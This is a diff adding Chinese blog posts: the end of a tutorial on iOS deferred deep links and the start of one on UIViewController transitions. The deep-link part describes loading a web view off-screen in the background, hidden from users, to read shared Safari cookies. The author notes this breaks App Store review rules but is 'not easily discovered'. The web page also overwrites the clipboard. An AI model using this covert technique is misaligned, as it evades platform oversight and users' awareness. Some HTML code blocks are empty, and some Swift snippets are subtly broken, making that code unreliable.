[**這裡**](https://stackoverflow.com/questions/627916/check-if-url-scheme-is-supported-in-javascript){:target="_blank"} : +```xml + + + Redirect... + + + + + + + +``` + +大略邏輯是 **一樣呼叫 URL Scheme,然後設個 Timeout,時間到若還在本頁沒跳轉就當沒安裝 Call 不到 Scheme,轉而導 APP Store 頁面** \(但體驗還是不好還是會跳網址錯誤提示,只是多了自動轉址\)。 + +**Universal Link** 本身就是個自己的網頁,若無跳轉,預設就是使用網頁瀏覽器呈現,這邊有網頁服務的可以選擇直接跳網頁瀏覽、沒有的就直接導 APP Store 頁面。 + +有網頁服務的網站可以在 `` 中加入: +```xml + +``` + + +![](/assets/b08ef940c196/1*nC1JytAwIwKU04EMBBvf0A.jpeg) + + +使用 iPhone Safari 瀏覽網頁版上方就會出現 APP 安裝提示、使用 APP 開啟本頁的按鈕; 參數 `app-argument` 就是用來帶入頁面值,並傳遞到 APP 用的。 + + +![加上「無則跳轉到 APP Store」的流程圖](/assets/b08ef940c196/1*B-_5tIDWQpNO8NxpXQsEcA.jpeg) + +加上「無則跳轉到 APP Store」的流程圖 +#### 完善 Deep Link APP 端處理: + +我們要的當然不只是「當使用者有安裝 APP 則開啟 APP」,我們還要將來源資訊與 APP 串起,讓 APP 開啟後自動呈現目標頁面的 APP 畫面。 + +**URL Scheme** 方式可在 AppDelegate 中的 `func application(_ application: UIApplication, open url: URL, sourceApplication: String?, annotation: Any) -> Bool` 進行處理: +```swift +func application(_ application: UIApplication, open url: URL, sourceApplication: String?, annotation: Any) -> Bool { + if url.scheme == "marry",let params = url.queryParameters { + if params["type"] == "topic" { + let VC = TopicViewController(topicID:params["id"]) + UIApplication.shared.keyWindow?.rootViewController?.present(VC,animated: true) + } + } + return true +} +``` + +**Universal Link** 則是在 AppDelegate 中的 `func application(_ application: UIApplication, continue userActivity: NSUserActivity, restorationHandler: @escaping ([Any]?) -> Void) -> Bool` 進行處理: +```swift +extension URL { + /// test=1&a=b&c=d => ["test":"1","a":"b","c":"d"] + /// 解析網址query轉換成[String: String]數組資料 + public var queryParameters: [String: String]? { + guard let components = URLComponents(url: self, resolvingAgainstBaseURL: true), let queryItems = components.queryItems else { + return nil + } + + var parameters = [String: String]() + for item in queryItems { + parameters[item.name] = item.value + } + + return parameters + } + +} +``` + +先附上一個 URL 的擴充方法 queryParameters,用於方便將 URL Query 轉換成 Swift Dictionary。 +```swift +func application(_ application: UIApplication, continue userActivity: NSUserActivity, restorationHandler: @escaping ([Any]?) -> Void) -> Bool { + + if userActivity.activityType == NSUserActivityTypeBrowsingWeb, webpageURL = userActivity.webpageURL { + /// 如果是universal link url來源... + let params = webpageURL.queryParameters + + if params["type"] == "topic" { + let VC = TopicViewController(topicID:params["id"]) + UIApplication.shared.keyWindow?.rootViewController?.present(VC,animated: true) + } + } + + return true +} +``` + + +![](/assets/b08ef940c196/1*zhtWK56EqWpE91yTVu64Lg.jpeg) + + +完成! +#### 那還缺什麼? + +目前看來已經很完美了,我們處理了所有會遇到的狀況,那還缺什麼? + + +![](/assets/b08ef940c196/1*ulrLKyvTKoChPScWD9wHyA.jpeg) + + +如圖所示,如果是 未安裝 \-> APP Store 安裝 \-> APP Store 打開,來源所帶的資料就會中斷,APP 不知道來源所以就只會顯示首頁;使用者要再回到上一步網頁再點一次開啟,APP 才會驅動跳頁。 + + +![](/assets/b08ef940c196/1*dFdvCRRdM3vrN3lnyG8Diw.jpeg) + + + +> _雖然這樣也不是不行,但考慮到跳出流失率,多一個步驟就是多一層流失,還有使用者體驗起來不順暢;更何況使用者未必這麼聰明。_ + + + + +#### 進入本文重點 + +何謂 Deferred Deep Link?,延遲深度連結;就是讓我們的 Deep Link 可以延伸到 APP Store 安裝完後依然保有來源資料。 + +據 Android 工程師表示 Android 本身就有此功能,但在 iOS 上並不支援此設定、要達到此功能的做法也不友善,請繼續看下去。 +### Deferred Deep Link + + +> _如果不想花時間自己做的話可以直接使用 [branch\.io](http://branch.io){:target="_blank"} 或 [Firebase Dynamic Links](https://firebase.google.com/docs/dynamic-links){:target="_blank"} 本文介紹的方法就是 Firebase 使用的方式。_ + + + + + +**要達成 Deferred Deep Link 的效果網路上有兩種做法:** + +一種是透過使用者裝置、IP、環境…等等參數計算出一個雜湊值,在網頁端存入資料到伺服器;當 APP 安裝後打開用同樣方式計算,如果值相同則取出資料恢復(branch\.io 的做法)。 + +另一種是本文要介紹的方法,同 Firebase 作法;使用 iPhone 剪貼簿和 Safari 與 APP Cookie 共享機制的方法,等於是把資料存在剪貼簿或Cookie,APP安裝完成後再去讀出來使用。 + + +![](/assets/b08ef940c196/1*VVahSlHV2N2jcIw4afzr2g.jpeg) + +``` + +點擊「Open」後你的剪貼簿就會被 JavaScript 自動覆蓋複製上跳轉相關資訊:https://XXX.app.goo.gl/?link=https://XXX.net/topicID=1&type=topic +``` + +相信有套過 Firebase Dynamic Links 的人一定不陌生這個開啟跳轉頁,了解到原理之後就知道這頁在流程中是無法移除的! + +另外 Firebase 也不提供進行樣式修改。 +#### 支援度 + +首先講個坑,支援度問題;如前所說的「不友善」! + + +![](/assets/b08ef940c196/1*LR3MSAcwjaoSQhwvtD2sUQ.png) + + +如果 APP 只考慮 iOS ≥ 10 以上的話容易許多,APP 實作剪貼簿存取、Web 使用 JavaScript 將資訊覆蓋到剪貼簿,然後再跳轉到 APP Store 導下載就好。 + +iOS = 9 不支援JavaScript自動剪貼簿但支援 **Safari 與 APP SFSafariViewController「Cookie 互通大法」** + +另外在 APP 需要偷偷在背景加入 SFSafariViewController 載入 Web,再從 Web 取得剛才點連結時存的Cookie資訊。 + + +> _步驟繁瑣&連結點擊僅限 Safari瀏覽器。_ + + + + + + +![[SFSafariViewController](https://developer.apple.com/documentation/safariservices/sfsafariviewcontroller){:target="_blank"}](/assets/b08ef940c196/1*tPXHlrQE3MdrjMzFbnS_4w.png) + +[SFSafariViewController](https://developer.apple.com/documentation/safariservices/sfsafariviewcontroller){:target="_blank"} + + +> _根據官方文件,iOS 11 已無法取得使用者的 Safari Cookie,若有這方面需求可使用 SFAuthenticationSession,但此方法無法在背景偷執行,每次載入前都會跳出以下詢問視窗:_ + + + + + + +![_SFAuthenticationSession 詢問視窗_](/assets/b08ef940c196/1*eisreftWPWn9PTCbuLQqdw.jpeg) + +_SFAuthenticationSession 詢問視窗_ + + +> _還有就是 APP審查是不允許將SFSafariViewController放在使用者看不到的地方的。\(用程式觸發再 addSubview 不太容易被發現\)_ + + + + +### 動手做 + +先講簡單的,只考慮 iOS ≥ 10 以上的用戶,單純使用 iPhone 剪貼簿轉傳資訊。 +#### Web 端: + + +![](/assets/b08ef940c196/1*P2saSHeIX7TZyCQY0StN1Q.jpeg) + + +我們仿造 Firebase Dynamic Links 客製化刻了自己的頁面,使用 `clipboard.js` 這個套件讓使用者點擊「立即前往」時先將我們要帶給 APP 的資訊複製到剪貼簿 `(marry://topicID=1&type=topic)` ,然後再使用 `location.href` 跳轉到 APP Store 商城頁。 +#### APP 端: + +在 AppDelegate 或 主頁 UIViewController 中讀取剪貼簿的值: + +`let pasteData = UIPasteboard.general.string` + +這邊建議還是將資訊使用 URL Scheme 方式包裝,方便進行辨識、資料反解: +```swift +if let pasteData = UIPasteboard.general.string,let url = URL(string: pasteData),url.scheme == "marry",let params = url.queryParameters { + if params["type"] == "topic" { + let VC = TopicViewController(topicID:params["id"]) + UIApplication.shared.keyWindow?.rootViewController?.present(VC,animated: true) + } +} +``` + +最後在處理完動作後使用 `UIPasteboard.general.string = “”` 將剪貼簿中的資訊清除。 +### 動手做 — 支援 iOS 9 版本 + +麻煩的來了,支援 iOS 9 版,前文有說由於不支援剪貼簿,要使用 **Cookie 互通大法** 。 +#### Web 端: + +web 端也算好處理,就是改成使用者點擊「立即前往」時將我們要帶給 APP 的資訊存到 Cookie `(marry://topicID=1&type=topic)` ,然後再使用 `location.href` 跳轉到 APP Store 商城頁。 + +這裡提供兩個封裝好的 JavaScript 處理 Cookie 的方法,加速開發: +```javascript +/// name: Cookie 名稱 +/// val: Cookie 值 +/// day: Cookie 有效期限,預設1天 +/// EX1: setcookie("iosDeepLinkData","marry://topicID=1&type=topic") +/// EX2: setcookie("hey","hi",365) = 一年有效 +function setcookie(name, val, day) { + var exdate = new Date(); + day = day || 1; + exdate.setDate(exdate.getDate() + day); + document.cookie = "" + name + "=" + val + ";expires=" + exdate.toGMTString(); +} + +/// getCookie("iosDeepLinkData") => marry://topicID=1&type=topic +function getCookie(name) { + var arr = document.cookie.match(new RegExp("(^| )" + name + "=([^;]*)(;|$)")); + if (arr != null) return decodeURI(arr[2]); + return null; +} +``` +#### APP 端: + +本文最麻煩的地方來了。 + +前文有提到原理,我們要在主頁的UIViewController用程式偷偷加載一個SFSafariViewController 在背景不讓使用者察覺。 + +**再說個坑:** 偷偷加載這件事,iOS ≥ 10 SFSafariViewController 的 View如果大小設定小於1、透明度小於0\.05、設成 isHidden,SFSafariViewController 就 **不會載入** 。 + + +> p\.s iOS = 10 同時支援 Cookie 及 剪貼簿。 + + + + + + +![[https://stackoverflow\.com/questions/39019352/ios10\-sfsafariviewcontroller\-not\-working\-when\-alpha\-is\-set\-to\-0/39216788](https://stackoverflow.com/questions/39019352/ios10-sfsafariviewcontroller-not-working-when-alpha-is-set-to-0/39216788){:target="_blank"}](/assets/b08ef940c196/1*ab-6ppwHU72AsKKLYBitbw.png) + +[https://stackoverflow\.com/questions/39019352/ios10\-sfsafariviewcontroller\-not\-working\-when\-alpha\-is\-set\-to\-0/39216788](https://stackoverflow.com/questions/39019352/ios10-sfsafariviewcontroller-not-working-when-alpha-is-set-to-0/39216788){:target="_blank"} + +我這邊的做法是在 主頁的UIViewController 上方放一個 UIView 隨便給個高度,但底部對齊 主頁面 UIView 上方,然後拉 IBOutlet `(sharedCookieView)` 到 Class;在 viewDidLoad\( \) 時 init SFSafariViewController 並將其 View 加入到 `sharedCookieView` 上,所以他實際有顯示有載入,只是跑出畫面了,使用者看不到🌝。 + +**SFSafariViewController 的 URL 該指向?** + +同 Web 端分享頁面,我們要再刻一個 For 讀取 Cookie 的頁面,並將兩個頁面放在同個網域之下避免跨網域Cookie問題,頁面內容稍後附上。 +```swift +@IBOutlet weak var SharedCookieView: UIView! + +override func viewDidLoad() { + super.viewDidLoad() + + let url = URL(string:"http://app.marry.com.tw/loadCookie.html") + let sharedCookieViewController = SFSafariViewController(url: url) + VC.view.frame = CGRect(x: 0, y: 0, width: 200, height: 200) + sharedCookieViewController.delegate = self + + self.addChildViewController(sharedCookieViewController) + self.SharedCookieView.addSubview(sharedCookieViewController.view) + + sharedCookieViewController.beginAppearanceTransition(true, animated: false) + sharedCookieViewController.didMove(toParentViewController: self) + sharedCookieViewController.endAppearanceTransition() +} +``` + +`sharedCookieViewController.delegate = self` + +`class HomeViewController: UIViewController, SFSafariViewControllerDelegate` + +需要加上這個 Delegate 才能捕獲載入完成後的 CallBack 處理。 + +我們可以在: + +`func safariViewController(_ controller: SFSafariViewController, didCompleteInitialLoad didLoadSuccessfully: Bool) {` + +方法中捕獲載入完成事件。 + +到這步,你可能會想再來就是在 `didCompleteInitialLoad` 中讀取 網頁內的 Cookie 就完成了! + +在這裡我沒找到讀取 SFSafariViewController Cookie 的方法,使用網路的方法讀出來都是空的。 + + +> _或可能要使用 JavaScript 與頁面內容進行交互,叫 JavaScript 讀 Cookie 回傳給 UIViewController。_ + + + + +#### Tricky 的 URL Scheme 法 + +既然 iOS 不知到如何取得共享的 Cookie,那我們就直接交由「讀取 Cookie 的頁面」去幫我們「讀取 Cookie」。 + +前文附上的 JavaScript 處理 Cookie 的方法中的 getCookie\( \) 就是用在這,我們的「讀取 Cookie 的頁面」內容是個空白頁\(反正使用者看不到\),但是在 JavaScript 部分要在 body onload 之後去讀取 Cookie: +```xml + + + Load iOS Deep Link Saved Cookie... + + + + + + + + +``` + +實際的原理總結就是:在 `HomeViewController viewDidLoad` 時加入 `SFSafariViewController` 偷加載 `loadCookie.html` 頁面, `loadCookie.html` 頁面讀取檢查先前存的 Cookie,若有則讀出清除,然後使用 `window.location.href` 呼叫,觸發 `URL Scheme` 機制。 + +所以之後對應的 CallBack 處理就會回到 `AppDelegate` 中的 `func application(_ application: UIApplication, open url: URL, sourceApplication: String?, annotation: Any) -> Bool` 進行處理。 +### 完工!總結: + + +![](/assets/b08ef940c196/1*kp26TdlJBW5sVxw4zYa9Rg.jpeg) + + +如果覺得煩瑣,可以直接使用 [branch\.io](http://branch.io){:target="_blank"} 或 [Firebase Dynamic](https://firebase.google.com/docs/dynamic-links){:target="_blank"} 沒必要重造輪子,這邊是因為介面客製化及一些複雜需求,只好自己打造。 + +iOS=9 的用戶已經非常稀少,不是很必要的話可以直接忽略;使用剪貼簿的方法快又有效率,而且用剪貼簿就不用局限連結一定要用 Safari 開啟! + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-ios-dev/ios-deferred-deep-link-%E5%BB%B6%E9%81%B2%E6%B7%B1%E5%BA%A6%E9%80%A3%E7%B5%90%E5%AF%A6%E4%BD%9C-swift-b08ef940c196){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2020-01-11-14cee137c565.md b/_posts/zmediumtomarkdown/2020-01-11-14cee137c565.md new file mode 100644 index 000000000..ea5bfa34c --- /dev/null +++ b/_posts/zmediumtomarkdown/2020-01-11-14cee137c565.md @@ -0,0 +1,953 @@ +--- +title: "iOS UIViewController 轉場二三事" +author: "ZhgChgLi" +date: 2020-01-11T18:41:06.640+0000 +last_modified_at: 2024-04-13T08:06:12.951+0000 +categories: "ZRealm Dev." +tags: ["ios","ios-app-development","swift","uiviewcontroller","mobile-app-development"] +description: "UIViewController 下拉關閉/上拉出現/全頁右滑返回 效果全解" +image: + path: /assets/14cee137c565/1*6IQTrlT4vIKR-NjLRsvZ-A.gif +render_with_liquid: false +--- + +### iOS UIViewController 轉場二三事 + +UIViewController 下拉關閉/上拉出現/全頁右滑返回 效果全解 + +### 前言 + + +![](/assets/14cee137c565/1*6IQTrlT4vIKR-NjLRsvZ-A.gif) + + +一直以來都很好奇諸如 Facebook、Line、Spotify…等等常用的 APP 是如何實作「Present 的 UIViewController 可下拉關閉」、「上拉漸入 UIViewController」、「全頁面支援手勢右滑返回」這些效果的。 + +因為這些效果內建都沒有,下拉關閉也直到 iOS ≥ 13 才有系統的卡片樣式支援。 +#### 探索之路 + +不知道是不會下關鍵字還是資料本身難找,一直找不到這類功能的實踐做法,找到的資料都很含糊零散,只能東拼西湊。 + +一開始自己研究做法時找到 `UIPresentationController` 這個 API ,沒再深掘其他資料,就用這個方法搭配 `UIPanGestureRecognizer` 用很土炮的方式完成下拉關閉的效果;一直都覺得哪裡怪怪的,感覺會有更好的方式。 + +直到最近接觸新專案拜讀 [大大的文章](https://imnotyourson.com/draggable-view-controller-interactive-view-controller/){:target="_blank"} ,擴大眼界才發現有其他 API 更漂亮、更有彈性的做法可以用。 + + +> _本篇一方面是自我紀錄,另一方面希望有幫助到跟我有一樣困惑的朋友。_ + + +> _內容有點多,嫌麻煩的可以直接拉到底看範例,或直接下載 Github 專案回來研究!_ + + + + +### iOS 13 卡片樣式呈現頁面 + +首先講最新系統內建的效果 +iOS ≥ 13 後 `UIViewController.present(_:animated:completion:)` +默認的 `modalPresentationStyle` 效果就是 `UIModalPresentationAutomatic` 片樣式呈現頁面,若想要保持之前的全頁面呈現就要特別指定回 `UIModalPresentationFullScreen` 即可。 + + +![內建行事曆新增效果](/assets/14cee137c565/1*j0NeJfAuR2fXP56KWglS7Q.gif) + +內建行事曆新增效果 +#### 如何取消下拉關閉?關閉確認? + +更好的使用者體驗應該要能在觸發下拉關閉時檢查有無輸入資料,有的話需要提示使用者是否捨棄動作離開。 + +這部分蘋果也幫我們想好了,只需實作 `UIAdaptivePresentationControllerDelegate` 裡的方法即可。 +```swift +import UIKit + +class DetailViewController: UIViewController { + private var onEdit:Bool = true; + override func viewDidLoad() { + super.viewDidLoad() + + //設置代理 + self.presentationController?.delegate = self + //if uiviewcontroller embed in navigationController: + //self.navigationController?.presentationController?.delegate = self + + //取消下拉關閉方式(1): + self.isModalInPresentation = true; + + } + +} + +//代理實作 +extension DetailViewController: UIAdaptivePresentationControllerDelegate { + //取消下拉關閉方式(2): + func presentationControllerShouldDismiss(_ presentationController: UIPresentationController) -> Bool { + return false; + } + + //下拉關閉取消時,下拉手勢觸發 + func presentationControllerDidAttemptToDismiss(_ presentationController: UIPresentationController) { + if (onEdit) { + let alert = UIAlertController(title: "資料尚未存儲", message: nil, preferredStyle: .actionSheet) + alert.addAction(UIAlertAction(title: "捨棄離開", style: .default) { _ in + self.dismiss(animated: true) + }) + alert.addAction(UIAlertAction(title: "繼續編輯", style: .cancel, handler: nil)) + self.present(alert, animated: true) + } else { + self.dismiss(animated: true, completion: nil) + } + } +} +``` + +取消下拉關閉可指定 `UIViewController` 的變數 `isModalInPresentation` 為 false 或實作 `UIAdaptivePresentationControllerDelegate` `presentationControllerShouldDismiss` 並回傳 `true` 擇一都可。 + +`UIAdaptivePresentationControllerDelegate presentationControllerDidAttemptToDismiss` 這個方法只有在 **下拉關閉取消時** 才會呼叫使用。 +#### By the way… + +卡片樣式呈現頁面對系統來說就是 `Sheet` ,行為上跟 `FullScreen` 有所不同。 + + +> _假設今天 `RootViewController` 是 `HomeViewController`_ + + +> _在卡片樣式呈現下 \(UIModalPresentationAutomatic\) 則:_ + + + + + +> `HomeViewController` _`Present` `DetailViewController` 時…_ + + +> `HomeViewController` **_的 `viewWillDisAppear` / `viewDidDisAppear` 都不會觸發。_** + + + + + +> _當 `DetailViewController` `Dismiss` 時…_ + + +> `HomeViewController` **_的 `viewWillAppear` / `viewDidAppear` 都不會觸發。_** + + + + + +> _⚠️ **因 XCODE 11 之後版本打包的 iOS ≥ 13 APP 預設 Present 都會使用卡片樣式 \(UIModalPresentationAutomatic\)**_ + + +> _**如果之前有把一些邏輯放在 viewWillAppear/viewWillDisappear/viewDidAppear/viewDidDisappear 的要多加檢查注意!** ⚠️_ + + + + + + +> 看完系統內建的,來看本篇重頭戲吧!如何自幹這些效果? + + + +### 哪裡可做轉場動畫? + +首先先整理哪裡可以做視窗切換轉場動畫。 + + +![UITabBarController/UIViewController/UINavigationController](/assets/14cee137c565/1*G0us0AtYJCy3va1sh_bWhQ.gif) + +UITabBarController/UIViewController/UINavigationController +#### UITabBarController 切換時 + +我們可以在 `UITabBarController` 設定 `delegate` 然後實作 `animationControllerForTransitionFrom` 方法,就能在切換 `UITabBarController` 時對內容套用自訂轉場特效。 + +系統預設無動畫,上方展示圖的是淡入淡出切換特效。 +```swift +import UIKit + +class MainTabBarViewController: UITabBarController { + + override func viewDidLoad() { + super.viewDidLoad() + self.delegate = self + + } + +} + +extension MainTabBarViewController: UITabBarControllerDelegate { + func tabBarController(_ tabBarController: UITabBarController, animationControllerForTransitionFrom fromVC: UIViewController, to toVC: UIViewController) -> UIViewControllerAnimatedTransitioning? { + //return UIViewControllerAnimatedTransitioning + } +} +``` +#### UIViewController Present/Dismiss 時 + +理所當然,在 `Present/Dismiss` `UIViewController` 時可以指定要套用的動畫效果,不然就不會有此篇文章了XD;不過值得一提的是,如果只是單純要做 Present 動畫沒有要做手勢控制,可以直接使用 `UIPresentationController` 方便快速 \(詳見文末參考資料\)。 + +系統預設是上滑出現下滑消失!自己客製的話可以加入淡入、圓角、出現位置控制…等效果。 +```swift +import UIKit + +class HomeAddViewController: UIViewController { + + override func viewDidLoad() { + super.viewDidLoad() + + self.modalPresentationStyle = .custom + self.transitioningDelegate = self + } + +} + +extension HomeAddViewController: UIViewControllerTransitioningDelegate { + + func animationController(forPresented presented: UIViewController, presenting: UIViewController, source: UIViewController) -> UIViewControllerAnimatedTransitioning? { + //回傳 nil 即走預設動畫 + return //UIViewControllerAnimatedTransitioning Present時要套用的動畫 + } + + func animationController(forDismissed dismissed: UIViewController) -> UIViewControllerAnimatedTransitioning? { + //回傳 nil 即走預設動畫 + return //UIViewControllerAnimatedTransitioning Dismiss時要套用的動畫 + } +} +``` + + +> _任何 `UIViewController` 都能實作 `transitioningDelegate` 告知 `Present/Dismiss` 動畫; `UITabBarViewController` 、 `UINavigationController` 、 `UITableViewController` …\.都可_ + + + + +#### UINavigationController Push/Pop 時 + +`UINavigationController` 大概是最不太需要會改動畫的,因為系統預設的左滑出現右滑返回動畫已經是最好的效果,能想得到要做這部分的客製可能可以用來做無縫 `UIViewController` 左右切換效果。 + +因為我們要做全頁都可手勢返回,需要配合自訂 POP 動畫,所以需要自己實作一個返回動畫效果。 +```swift +import UIKit + +class HomeNavigationController: UINavigationController { + + override func viewDidLoad() { + super.viewDidLoad() + + self.delegate = self + } + +} + +extension HomeNavigationController: UINavigationControllerDelegate { + func navigationController(_ navigationController: UINavigationController, animationControllerFor operation: UINavigationController.Operation, from fromVC: UIViewController, to toVC: UIViewController) -> UIViewControllerAnimatedTransitioning? { + + if operation == .pop { + return //UIViewControllerAnimatedTransitioning 返回時要套用的動畫 + } else if operation == .push { + return //UIViewControllerAnimatedTransitioning push時要套用的動畫 + } + + //回傳 nil 即走預設動畫 + return nil + } +} +``` +### 交互非交互動畫? + +再講動畫實作、手勢控制前,先講一下何謂交互與非交互。 + +**交互動畫:** 手勢觸發動畫,如 UIPanGestureRecognizer + +**非交互動畫:** 系統呼叫動畫,如 self\.present\( \) +### 怎麼實作動畫效果? + +講完哪裡可以做,再來看怎麼做動畫效果。 + +我們需要實作 `UIViewControllerAnimatedTransitioning` 這個 `Protocol` 並在裡面對視窗做動畫。 +#### 一般轉場動畫: UIView\.animate + +直接使用 `UIView.animate` 做動畫處理,此時的 `UIViewControllerAnimatedTransitioning` 需要實作 `transitionDuration` 告知動畫時長、 `animateTransition` 實作動畫內容這兩個方法。 +```swift +import UIKit + +class SlideFromLeftToRightTransition: NSObject, UIViewControllerAnimatedTransitioning { + + func transitionDuration(using transitionContext: UIViewControllerContextTransitioning?) -> TimeInterval { + return 0.4 + } + + func animateTransition(using transitionContext: UIViewControllerContextTransitioning) { + + //可用參數: + //取得要展示的目標 UIViewController 的 View 內容: + let toView = transitionContext.view(forKey: .to) + //取得要展示的目標 UIViewController: + let toViewController = transitionContext.viewController(forKey: .to) + //取得要展示的目標 UIViewController 的 View 的初始化 Frame 資訊: + let toInitalFrame = transitionContext.initialFrame(for: toViewController!) + //取得要展示的目標 UIViewController 的 View 的最終 Frame 資訊: + let toFinalFrame = transitionContext.finalFrame(for: toViewController!) + + //取得當前 UIViewController 的 View 內容: + let fromView = transitionContext.view(forKey: .from) + //取得當前 UIViewController: + let fromViewController = transitionContext.viewController(forKey: .from) + //取得當前 UIViewController 的 View 的初始化 Frame 資訊: + let fromInitalFrame = transitionContext.initialFrame(for: fromViewController!) + //取得當前 UIViewController 的 View 的最終 Frame 資訊: (在關閉動畫時可以取得之前顯示動畫時的最終Frame) + let fromFinalFrame = transitionContext.finalFrame(for: fromViewController!) + + //toView.frame.origin.y = UIScreen.main.bounds.size.height + + UIView.animate(withDuration: transitionDuration(using: transitionContext), delay: 0, options: [.curveLinear], animations: { + //toView.frame.origin.y = 0 + }) { (_) in + if (!transitionContext.transitionWasCancelled) { + //動畫沒中斷 + } + + // 告知系統動畫完成 + transitionContext.completeTransition(!transitionContext.transitionWasCancelled) + } + + } + +} +``` + + +> **_To 跟 From:_** + + +> _假設今天 `HomeViewController` 要 `Present/Push` `DetailViewController` 時,_ + + +> _From = HomeViewController / To = DetailViewController_ + + +> _`DetailViewController` 要 `Dismiss/Pop` 時,_ + + +> _From = DetailViewController / To = HomeViewController_ + + + + + +⚠️⚠️⚠️⚠️⚠️ + + +> _官方建議從 `transitionContext.view` 拿 View 使用,而不是從 `transitionContext.viewController` 拿 \.view 使用。_ + + +> _但這邊有個問題,就是在做 Present/Dismiss 動畫時當 `modalPresentationStyle = .custom` ;_ + + +> _Present 時使用 `transitionContext.view(forKey: .from)` 會是 **nil** 、_ + + +> _Dismiss 時使用 `transitionContext.view(forKey: .to)` 也會是 **nil** ;_ + + +> _還是需要從 viewController\.view 拿值來用。_ + + + + + +⚠️⚠️⚠️⚠️⚠️ + + +> `transitionContext.completeTransition(!transitionContext.transitionWasCancelled)` _動畫完成必須呼叫,否則 **畫面會卡死** ;_ + + +> _但因 `UIView.animate` 若無可執行動畫就不會 Call `completion` 造成前述方法未被呼叫;所以務必確保動畫是會執行的 \(EX: y從100到0\)。_ + + + + + +ℹ️ℹ️ℹ️ℹ️ℹ️ + + +> _參與動畫的 `ToView/FromView` ,若因 View 較為複雜或動畫時有些問題;可改用 `snapshotView(afterScreenUpdates:)` 截圖作為動畫展示,先截圖然後 `transitionContext.containerView.addSubview(snapShotView)` 上去圖層,接著隱藏原本的 `ToView/FromView (isHidden = true)` ,在動畫結束時在 `snapShotView.removeFromSuperview()` 和恢復顯示原本的 `ToView/FromView (isHidden = true)` 。_ + + + + +#### 可中斷、繼續的轉場動畫: UIViewPropertyAnimator + +另外也可以使用 **iOS ≥ 10** 新的動畫類別來實作動畫效果, +看個人習慣或是動畫要做到多細節來做選擇, +雖然官方的建議是有交互就使用 `UIViewPropertyAnimator` 但 **不管是交互非交互\(手勢控制\) 一般都使用 UIView\.animate 即可** ; +`UIViewPropertyAnimator` 的轉場動畫能做到中斷繼續的效果,雖然我不知道實際能應用在哪,有興趣的朋友可參考 [此篇文章](https://juejin.im/post/5c3aa7ff518825551e285b8d){:target="_blank"} 。 +```swift +import UIKit + +class FadeInFadeOutTransition: NSObject, UIViewControllerAnimatedTransitioning { + + private var animatorForCurrentTransition: UIViewImplicitlyAnimating? + + func interruptibleAnimator(using transitionContext: UIViewControllerContextTransitioning) -> UIViewImplicitlyAnimating { + + //當前有轉場動畫時直接返回 + if let animatorForCurrentTransition = animatorForCurrentTransition { + return animatorForCurrentTransition + } + + //參數同前述 + + //fromView.frame.origin.y = 100 + + let animator = UIViewPropertyAnimator(duration: transitionDuration(using: transitionContext), curve: .linear) + + animator.addAnimations { + //fromView.frame.origin.y = 0 + } + + animator.addCompletion { (position) in + transitionContext.completeTransition(!transitionContext.transitionWasCancelled) + } + + //抓著動畫 + self.animatorForCurrentTransition = animator + return animator + } + + func transitionDuration(using transitionContext: UIViewControllerContextTransitioning?) -> TimeInterval { + return 0.4 + } + + func animateTransition(using transitionContext: UIViewControllerContextTransitioning) { + //如果是非交互會走這,就讓它也走交互的動畫 + let animator = self.interruptibleAnimator(using: transitionContext) + animator.startAnimation() + } + + func animationEnded(_ transitionCompleted: Bool) { + //動畫完成,清空 + self.animatorForCurrentTransition = nil + } + +} +``` + + +> _交互情況下 \(後面講控制會細提\),會使用 `interruptibleAnimator` 方法的動畫;非交互的情況則還是使用 `animateTransition` 方法。_ + + +> _因為能繼續、中斷的特性;所以 `interruptibleAnimator` 是有可能會重複呼叫使用的;所以我們需要用一個全域變數做存取返回。_ + + + + + +**Murmur…** +其實我本來是想全都改用新的 `UIViewPropertyAnimator` 也想推薦大家都用新的來做,但我遇到一個很奇怪的問題,就是在做全頁手勢返回 Pop 動畫時,若手勢放開,動畫歸位,上方的 Navigation Bar 的 Item 會淡入淡出閃一下…找不到解,但回去用 `UIView.animate` 就沒這問題;如果有地方沒注意到歡迎跟我說<\( \_ \_ \)>。 + + +![問題圖; \+ 按鈕是上一頁的](/assets/14cee137c565/1*cVg7iZ_rFC2nxm2H5ET1Gg.gif) + +問題圖; \+ 按鈕是上一頁的 + +所以保險起見還是用舊的方式吧! + +實際會依照不同的動畫效果建立個別的 Class,若覺得很檔案雜,可參考文末包好的方案;或是將同個連貫\(Present\+Dismii\)動畫放在一起。 +#### transitionCoordinator + +另外如果需要更細緻的控制,例如 ViewController 裡面有某個元件需要配合轉場動畫改變;可在 `UIViewController` 中使用 `transitionCoordinator` 進行協作,這部分我沒用到;有興趣可參考 [此篇文章](https://kemchenj.github.io/2018-12-24/){:target="_blank"} 。 +### 怎麼控制動畫? + +這邊就是前述所說的「交互」,實際就是手勢控制;本篇最重要的章節,因為我們的要做的是手勢操作與轉場動畫的連動功能,才能達成我們要的下拉關閉、全頁返回功能。 +#### 控制代理設置: + +同前面 `ViewController` 代理動畫設計,交互處理的類也需要在代理中告知 `ViewController` 。 + +**UITabBarController: 無** +**UINavigationController \(Push/Pop\):** +```swift +import UIKit + +class HomeNavigationController: UINavigationController { + + override func viewDidLoad() { + super.viewDidLoad() + + self.delegate = self + } + +} + +extension HomeNavigationController: UINavigationControllerDelegate { + func navigationController(_ navigationController: UINavigationController, animationControllerFor operation: UINavigationController.Operation, from fromVC: UIViewController, to toVC: UIViewController) -> UIViewControllerAnimatedTransitioning? { + + if operation == .pop { + return //UIViewControllerAnimatedTransitioning 返回時要套用的動畫 + } else if operation == .push { + return //UIViewControllerAnimatedTransitioning push時要套用的動畫 + } + //回傳 nil 即走預設動畫 + return nil + } + + //新增交互代理方法: + func navigationController(_ navigationController: UINavigationController, interactionControllerFor animationController: UIViewControllerAnimatedTransitioning) -> UIViewControllerInteractiveTransitioning? { + //這邊無法得知是Pop還是Push 只能從要做的動畫本身做判斷 + if animationController is push時套用的動畫 { + return //UIPercentDrivenInteractiveTransition push動畫的交互控制方法 + } else if animationController is 返回時套用的動畫 { + return //UIPercentDrivenInteractiveTransition pop動畫的交互控制方法 + } + //回傳 nil 即不做交互處理 + return nil + } +} +``` + +**UIViewController \(Present/Dismiss\):** +```swift +import UIKit + +class HomeAddViewController: UIViewController { + + override func viewDidLoad() { + super.viewDidLoad() + + self.modalPresentationStyle = .custom + self.transitioningDelegate = self + } + +} + +extension 